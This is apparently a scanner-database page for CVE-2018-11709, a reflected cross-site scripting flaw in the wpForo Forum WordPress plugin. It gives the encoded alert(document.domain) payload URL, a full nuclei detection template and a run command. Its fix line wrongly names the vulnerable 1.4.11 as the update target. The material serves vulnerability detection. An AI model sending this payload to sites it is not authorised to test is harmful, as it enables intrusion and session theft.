WordPress wpForo Forum <= 1.4.11 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress wpForo Forum plugin before 1.4.12 for WordPress allows unauthenticated reflected cross-site scripting via the URI.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the wpForo Forum plugin (1.4.11) or apply the vendor-provided patch to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php/community/?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains "wpforo" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-11709 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-11709

info:
  name: WordPress wpForo Forum <= 1.4.11 - Cross-Site Scripting
  author: daffainfo,s4e-io
  severity: medium
  description: WordPress wpForo Forum plugin before 1.4.12 for WordPress allows unauthenticated reflected cross-site scripting via the URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the wpForo Forum plugin (1.4.11) or apply the vendor-provided patch to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11709
    - https://wordpress.org/plugins/wpforo/#developers
    - https://wpvulndb.com/vulnerabilities/9090
    - https://blog.dewhurstsecurity.com/2018/06/01/wp-foro-wordpress-plugin-xss-vulnerability.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-11709
    cwe-id: CWE-79
    epss-score: 0.03545
    epss-percentile: 0.89395
    cpe: cpe:2.3:a:gvectors:wpforo_forum:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: gvectors
    product: wpforo_forum
    framework: wordpress
  tags: cve,cve2018,wordpress,xss,wp-plugin,gvectors,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php/community/?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: body
        words:
          - "wpforo"
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from